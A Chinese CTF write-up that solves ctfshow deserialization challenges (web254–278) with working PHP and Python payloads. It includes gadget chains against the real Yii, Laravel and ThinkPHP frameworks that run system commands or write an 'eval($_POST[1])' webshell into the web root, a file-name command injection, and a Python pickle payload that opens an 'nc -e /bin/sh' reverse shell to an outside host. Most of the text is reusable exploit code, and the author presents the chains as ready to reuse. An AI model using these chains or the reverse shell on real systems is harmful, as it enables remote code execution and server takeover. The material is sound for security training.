web254

源码

image-20230104214414714

这里没有魔术方法,因为魔术方法是下划线开头的 ——> __toString() 类似这种

payload

1
/?username=xxxxxx&password=xxxxxx

没用到反序列化的东西。

web255

源码

image-20230104215011783

这里用到了反序列的语句了,但魔术方法还是没有用到。

这题和上一题的不同是false无法自动变成true了,那么我们就得手动去变。

payload

1
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

获取脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

echo urlencode(serialize(new ctfShowUser()));

这里面的话函数可以删去,这里也可以不用urlencode,用的原因是protected private会产生不可见字符,如果用的话,就不管啥情况都可以过了。就不用担心不可见字符了。

web256

源码

image-20230104220444891

这里的话涉及到username和password的问题,既要相等又要不等,那么我们在反序列处是可以控制类里面的参数的值的

payload

1
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%222%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

获取脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

class ctfShowUser{
public $username='1';
public $password='2';
public $isVip=true;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}

echo urlencode(serialize(new ctfShowUser()));

web257

源码

image-20230104221218372

这里终于遇到了反序列化函数了

这里介绍一下construct和destruct函数,学过c++语言的应该都知道这两个函数

construct —> 就是在new 一个新的对象的时候会自动运行的函数,如果class类中没有的话,系统就会自己新创一个,但里面没有任何东西。

destruct —> 就是在一个类运行结束的时候,会自动运行的函数。

image-20230104222641078

image-20230104222655281

就是先输出a,在输出b.

回到这道题

这里把__construct 函数里的info改成backDoor,因为在new一个ctfShowUser的新对象时,会自动执行construct函数。就会new一个backDoor的新对象,然后ctfShowUser类结束的时候会自动执行destruct函数,然后就会调用到backDoor类里边的getInfo函数,里面的函数有一个命令执行,然后就利用这一点进行rce了。

payload

1
O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A16%3A%22eval%28%24_POST%5B1%5D%29%3B%22%3B%7D%7D

修改后的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';

public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
private $code='eval($_POST[1]);';
public function getInfo(){
eval($this->code);
}
}

echo urlencode(serialize(new ctfShowUser));

然后自己进行rce就行。

web258

源码

image-20230104223933413

1
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user']))

可以看对序列化的字符串进行了过滤,其实主要过滤的就是禁止Object类型被反序列化。虽然这样看起是没有问题的,但是由于PHP的一个BUG,导致仍然可以被绕过。只需要在对象长度前添加一个+号,即o:14->o:+14,这样就可以绕过正则匹配。

这个漏洞是php5.6.24版本才进行修复.

修复后—> /[oc]:[^:]*\d+:/i 这里的话用+已经不能绕过了。

第一步

(进行修改)

1
O:11:"ctfShowUser":4:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:8:"backDoor":1:{s:4:"code";s:16:"eval($_POST[1]);";}}

第二步

(urlencode)

1
O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A16%3A%22eval%28%24_POST%5B1%5D%29%3B%22%3B%7D%7D

修改后的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';

public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
public $code='eval($_POST[1]);';
public function getInfo(){
eval($this->code);
}
}

#echo serialize(new ctfShowUser());
$a='O:+11:"ctfShowUser":4:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:16:"eval($_POST[1]);";}}';
echo urlencode($a);

然后进行rce就行了。

web259

源码

image-20230104232501397

image-20230104232508253

这道题利用的是序列化的ssrf性质

简介

php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。必须调用SoapClient不存在的方法,触发SoapClient的__call魔术方法。通过CRLF来添加请求体:SoapClinet可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容。

SoapClient采用了HTTP作为底层通讯协议,XML作为数据传送的格式,采用了SOAP协议(SOAP是一种简单的基于XML的协议,它使应用程序通过HTTP来交换信息),其次我们知道某个实例化的类,如果去调用了一个不存在的函数,会调用__call方法,具体详细信息,感兴趣的读者可以自行查阅,这里不进行赘述

CRLF是”回车 + 换行”(rn)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS

在多数CTF题目中,会将这两个知识点结合起来考察。

首先

image-20230105181930658

image-20230105181617490

我们创建对象的时候设置的参数‘uri’SOAPction,‘location’具体表现在POST和Host。 我们还可以控制参数User-Agent,通过创建对象的时候添加参数’user_agent’=>$u

Content-Type 和 Content-Length 也是我们可以控制的地方。

开始伪造http头

image-20230105182603050

image-20230105182753522

成功写入,那么就开始根据题目的要求来写入token.

image-20230105183131849

根据题目要求写入的token和X-Forwarded-For

这里要求的Content-Length:13是因为伪造的http头,只需要执行到token=ctfshow就行。token=ctfshow长度为13.

image-20230105183531826

执行成功。

因为题目的服务器端口是80,所以我们得把9999给去掉。

image-20230105184013157

image-20230105184100591

拿到编码的东西后进行传参。

然后访问flag.txt就行了。

这道题主要就是通过ua来构造http头来绕过检测。

web260

源码

image-20230105174655881

这个点就考察serialize,只要传的之里面有ctfshow_i_love_36D就行了。

image-20230105174843961

序列化后的结果。

payload

1
?ctfshow=ctfshow_i_love_36D

web261

源码

image-20230105175010366

这里边用的全是魔术方法

php7.4版本以上的话这里面的话如果有__unserialize()魔术方法的话,会自动绕过 ,wakeup()魔术方法,php5.6版本以下的话,可以通过修改类里边的参数的数量来绕过wakeup方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

highlight_file(__FILE__);

class ctfshowvip{
public $username;
public $password;
public $code;

public function __construct($u,$p){ //对象创建时会自动调用。
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){ //使用unserialize时触发
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){ //当脚本尝试将对象调用为函数时触发
eval($this->code);
}

public function __sleep(){ //使用serialize时触发
$this->username='';
$this->password='';
}
public function __unserialize($data){ //检查是否存在具有名为 __unserialize() 的魔术方法。此函数将会传递从 __serialize() 返回的恢复数组。然后它可以根据需要从该数组中恢复对象的属性。
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){ //对象被销毁时触发
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}

unserialize($_GET['vip']);

payload

image-20230105211617857

那么这道题的话,只需要用两个魔法函数就行了,这里边的wakeup函数不用管了,因为就是题目的php版本是7.4以上的。invoke()函数也不用管了,因为就是没有触发的点.现在就是看sleep函数了,在serialize时就会触发,给username和password给赋值了。unserialize函数会传递从 __serialize() 返回的恢复数组,那么又会给username和password重新赋值了。因为code这里时弱类型比较,直接877.xxxxxxxx就可以绕过了。

然后去访问877.php去进行rce就行了。

web262(字符逃逸)

源码

image-20230105212728740

先解释一下啥时字符逃逸

逃逸有一个特征就是对序列化后的字符进行一个替换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php


class user{
public $username;
public $password;
public $vip;
public function __construct($u,$p)
{
$this->username=$u;
$this->password=$p;
$this->vip=0;

}
}
function filter($s)
{
return str_replace('admin','hacker',$s);
}
$u = new user('admin','123456');
$u_seri = serialize($u);
$us = filter($u_seri);
echo $us;
//O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:3:"vip";i:0;}
//O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:3:"vip";i:0;}

image-20230105222856799

这里的话就会出现hacker的长度为5,那么r就逃逸出去了。

接下来我们想办法把vip变成1.

image-20230105223446392

那我们要把vip变成1,且能进行逃逸的话,红线的””内的值要和外面的长度相等就能进行逃逸了。

image-20230105223548683

因为我们的payload的长度时45,那么我们就得用45个admin来替换。因为我们的admin和hacker相差一个字符,那么45个字符的话,就可以把上图选中的payload给代替掉,那么我们就可以使其和引号里的值和外面的字符长度一样了 —> s:2:”xx” 就是类似这种。

image-20230105224157993

刚好等于270,逃逸成功,vip也成功写入,当然了就是只看{}里面的内容,超出之后的东西系统不管了。

讲明白逃逸之后,回到本题。

image-20230105225632889

成功逃逸有个字符,那么就跟上面讲解的逃逸的步骤一步一步来就可以解出来了。

image-20230105225924163

payload一共有62个字符,那么我们就得去写62个fuck了,这里不知道原因的可以去上面看我写的解释。

image-20230105230112556

刚刚好相等,然后进行base64编码后拿去提交。就可以拿到flag了。

image-20230105230520473

解法二

image-20230105230809582

修改一下token直接就可以进行反序列了。

paylaod

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

class message{
public $from;
public $msg;
public $to;
public $token='admin';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
echo (base64_encode(serialize(new message('a','b','c'))));

web263

源码

web264

源码

image-20230106132930372

message.php

image-20230106132950692

这道题还是可以进行字符逃逸,只要进行序列化输出就行了,因为就是在index.php页面的时候已经会将序列化的值进行base64编码了,在message.php页面会只有代码进行base64解码和反序列化。

image-20230106134745018

image-20230106134810726

那么直接进行字符逃逸就行了,这里就不详细写了,因为web261已经详细写过了。

web265

源码

image-20230106140404379

这里因为token是一个md5()随机数,是不可控的,那么可控的只有password,那么我们就得用到&,

在PHP 中引用的意思是:不同的名字访问同一个变量内容。

那么我们就可以利用这一点,来使password的值恒等于token的值。

paylaod

image-20230106141939242

web266

源码

image-20230106142948441

这里面多了个__toString()函数。

这个函数的作用是如果实例化一个类的话,并将这个对象进行输出的话,就是调用toString函数,没有的话就会报错。

(如果反序列后的字符串中含有ctfshow的话,将不会进行__destruct()函数的调用。

因为这里的话,最后的正则判断是不能有ctfshow这个词,但是没有 /i , 可以利用大写绕过。

payload

image-20230106145043122

为什么可以直接写在post的原因是

image-20230106145110445

php://input伪协议的作用。

解法二

image-20230106145214649

类名不变,但是不能正常执行反序列化,因为{}里面的东西不对,那么直接就进行销毁,执行析构函数了。

web267(yii)

源码

image-20230107205741775

image-20230107205924759

登录框架是yii的,那么就可以找一下这个框架的漏洞。

image-20230107210119947

利用admin/admin登录成功后,查看about这里的源码,发现这个注释。

image-20230107210335018

输入view-source后出现这个。

然后就找个yii利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1';
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}

namespace yii\db{
use Faker\Generator;

class BatchQueryResult{
private $_dataReader;

public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

这个链是执行phpinfo()的,可以在__construct函数里边修改执行命令。

image-20230107210926680

命令执行成功,说明链表可行。

然后就修改执行命令

image-20230107211023372

这里有个小问题就是system是无回显的,那么可以写马或者利用别的函数来解。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'passthru';
$this->id = 'tac /flag';
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}

namespace yii\db{
use Faker\Generator;

class BatchQueryResult{
private $_dataReader;

public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}

image-20230107211300165

system 可以利用passthru替代。

https://blog.csdn.net/xuandao_ahfengren/article/details/111259943 yii框架漏洞解释

Yii是一套基于组件、用于开发大型Web应用的高性能PHP框架。Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize 时,攻击者可通过构造特定的恶意请求执行任意命令。

下次遇到直接拿现成的链来打就好了。

web268

源码

和web261一样都是yii漏洞的反序列化链利用。

显然这道题的话用不了上一题的payload了 ——> 就是把system替换成passthru

那我们就得换一个方法了

就是进行写码,那我们得找到当前目录的路径

(不是/var/www/html) 试过了。

那么我们就可以利用danslog.cn进行数据外带。

image-20230107213710478

在web267中查出来的。

image-20230107213918120

解码得到当前文件默认路径。

exp(以后遇到yii框架的题,可以拿来直接打就行了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-05-03 21:55:29
# @Last Modified by: h1xa
# @Last Modified time: 2021-05-04 01:25:28
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('shell_exec', 'echo "<?php eval(\$_POST[1]);phpinfo();?>" >/var/www/html/basic/web/1.php');
echo(base64_encode(serialize($exp)));
}
?>


image-20230107214350377

然后去访问1.php进行rce。

image-20230107214429533

image-20230107214527415

(下次遇到yii的题目的话,直接拿这个paylaod来打就行了)

和web268一样。

web270

源码

和web268一模一样。

web271

源码

image-20230107232547459

这是一个Laravel的php框架,我们直接上网找链子打就行了。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-05-05 22:14:15
# @Last Modified by: h1xa
# @Last Modified time: 2021-05-05 22:21:46
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;

public function __construct($command, $parameters,$class,$app)
{
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}

namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}


namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;

public function __construct($bind){
$this->bindings=$bind;
}
}
}

namespace{
echo urlencode(serialize(new Illuminate\Foundation\Testing\PendingCommand("system",array('tac /flag'),new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))),new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application"))))));
}
?>

到时候可以只在脚本里修改执行的命令就行了。

web272

源码

和上一题一样,都是Laravel框架

上题的paylaod用不了了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-05-05 22:27:03
# @Last Modified by: h1xa
# @Last Modified time: 2021-05-05 22:39:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


namespace PhpParser\Node\Scalar\MagicConst{
class Line {}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;

public function __construct($config, $code)
{
$this->config = $config;
$this->code = $code;
}
}
}
namespace Mockery\Loader{
class EvalLoader{}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace{
$line = new PhpParser\Node\Scalar\MagicConst\Line();
$mockdefinition = new Mockery\Generator\MockDefinition($line,"<?php file_put_contents('/app/public/1.php','<?php eval(\$_POST[1]);?>');");
$evalloader = new Mockery\Loader\EvalLoader();
$dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
$queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
echo urlencode(serialize($pendingbroadcast));
}

这里面为啥知道当前目录是/app/public/,可以用外带的方法,这里不用danlog了,用cookie.

image-20230107233821691

修改一下这里,setcookie第一个参数是cookie的名字2,第二个参数是内容。

image-20230107234002112

解码出来是/app/public,那么就可以往这个路径里边进行写码了。

上面的exp直接用就行了。

这里加一个为什么要在木马里加转义字符的原因

image-20230107234959347

\$表示的是$这个是有特殊用途的,不是简单的表示钱的意思。因为是在字符串里写的,识别不了,所以得加个转义字符\

web273

源码

又是一道Laravel框架的题

用上一题的链子就可以了。

laravel用到的版本分别是 5.7和5.8的。

web274

源码

image-20230108000026004

这次轮到thinkphp了。

image-20230108001823611

发现反序列化入口,那么我们直接就上网去找payload就行了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
//GET传参 shell
$this->data = ['shell' => new Request()];
$this->append = ['shell' => []];
}
}
class Request{
protected $filter;
protected $hook = [];
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ['var_pjax' => 'shell'];
$this->hook = ['visible' => [$this,'isPjax']];
}
}
namespace think\process\pipes;
use think\model\Pivot;

class Windows{
private $files = [];
public function __construct(){
$this->files = [new Pivot()];
}
}

namespace think\model;
use think\Model;

class Pivot extends Model{
}

use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>


image-20230108001955291

GET shell 传参。

web275

源码

image-20230108143551463

这题跟反序列话没啥太大关系,就是理清逻辑关系就可以成功拿到flag。

1
2
3
4
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}

目的就是为了使evilfile为true,然后执行这个函数。

1
2
3
4
5
6
7
8
9
10
if($f->checkevil()===false){
//写入文件内容
file_put_contents($_GET['fn'], $content);
//复制文件,生成的新文件名进行md5加密+随机数
copy($_GET['fn'],md5(mt_rand()).'.txt');
//删除原来的文件
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}

知道这些以后,就可以成功进行rce了。

1
2
3
4
5
6
7
8
9
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}

只需要两个参数中含有对应的值就行了。

payload

1
?fn=php;tac f*

web276(phar反序列化)

源码

image-20230113165336370

web277(python反序列化)

题目

image-20230312123235906

通过pickle判断出是python反序列化

这里python反序列化和php的反序列化差不多,但是python的反序列化比较简单,没有php那么花里胡哨的。

dumps()是序列化的方法

loads()是反序列化的方法

群主讲的wp

这里python反序列化的关键就是 __reduce__魔法函数,就是利用这个函数来进行对反序列化的值进行操控,从而进行命令执行。

image-20230312122011395

网上随便找的一个解释

python反序列化话的主要就是这个方法,没有像php那么花里胡哨得到

只要对第一和第二个参数进行控制就行

第一个参数 —-> 就是方法,例如system eval这种

第二个参数 ——> 就是内容,就是进行命令执行的内容

这要控制这两个方法的话,那么就是进行自己想要的命令执行了

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pickle
import os
import base64

class CTFshow():
def sw(self):
print(self.show)
def __init__(self):
self.show=show
def __reduce__(self):
return (eval,("__import__('os').popen('nc xxx.xxx.xxx.xxx port -e /bin/sh').read()",))
cs = CTFshow("test")
ctfshow_ser=pickle.dumps(cs)
print(base64.b64encode(ctfshow_ser))

因为题目无回显,所以反弹shell

这里话反弹shell有很多种方法,如果题目禁用这种的话,可以自己去google一下,网上挺多的

image-20230312123519474

有些时候跑的payload不成功,可能是因为pvm认证的协议不一样,所以有时时候我们可以加上。

image-20230312123626529

就像这样写

反弹shell后拿到flag

image-20230312124206547

web278(python反序列化)

题目

image-20230312160036945

题目提示过滤了 os.system,这里话过滤是看序列化里有没有os.system的,因为我们上一题用的是popen,并不是用的os.system,所以上一题的paylaod还是可以用的

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pickle
import os
import base64

class CTFshow():
def sw(self):
print(self.show)
def __init__(self):
self.show=show
def __reduce__(self):
return (eval,("__import__('os').popen('nc xxx.xxx.xxx.xxx port -e /bin/sh').read()",))
cs = CTFshow("test")
ctfshow_ser=pickle.dumps(cs)
print(base64.b64encode(ctfshow_ser))